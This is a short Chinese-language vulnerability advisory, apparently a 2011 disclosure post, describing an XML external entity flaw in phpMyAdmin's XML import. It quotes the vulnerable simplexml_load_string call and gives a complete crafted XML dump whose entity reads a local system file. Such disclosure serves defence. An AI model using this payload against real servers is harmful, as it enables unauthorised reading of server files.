PhpMyadmin任意文件读取漏洞

作者:hack1990 时间:11-11-02 阅读数:653人阅读

简要描述:

PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析,但是该函数中默认并没有处理好外部实体的安全性,导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源

详细说明:

libraries/import/xml.php中

unset($data);

 

 

 

/**

 

 * Load the XML string

 

 *

 

 * The option LIBXML_COMPACT is specified because it can

 

 * result in increased performance without the need to

 

 * alter the code in any way. It's basically a freebee.

 

 */

 

$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);

 

unset($buffer);

 

 /**

 

 * The XML was malformed

 

 */

 

if ($xml === FALSE) {

 

 

可以使用系统中的import功能导入一个精心构造的xml文件

 

<?xml version="1.0" encoding="utf-8"?>

 

<!DOCTYPE wooyun [

 

  <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">

 

]>

 

<!--

 

- phpMyAdmin XML Dump

 

- version 3.4.4

 

- http://www.phpmyadmin.net

 

-

 

- 主机: localhost

 

- 生成日期: 2011 年 11 月 01 日14:56

 

- 服务器版本: 5.1.28

 

- PHP 版本: 5.2.6

 

-->

 <pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">

 

    <!--

 

    - Structure schemas

 

    -->

 

    <pma:structure_schemas>

 

        <pma:database name="test" collation="utf8_general_ci" charset="utf8">

 

            <pma:table name="ts_ad">

 

                &hi80sec;

 

            </pma:table>

 

        </pma:database>

 

    </pma:structure_schemas>

   <!--

 

    - 数据库: 'thinksns'

 

    -->

 

    <database name="thinksns">

 

        <!-- 表ts_ad -->

 

    </database>

 

</pma_xml_export>

来读写文件,系统错误信息会直接显示出文件内容

漏洞证明:

发表评论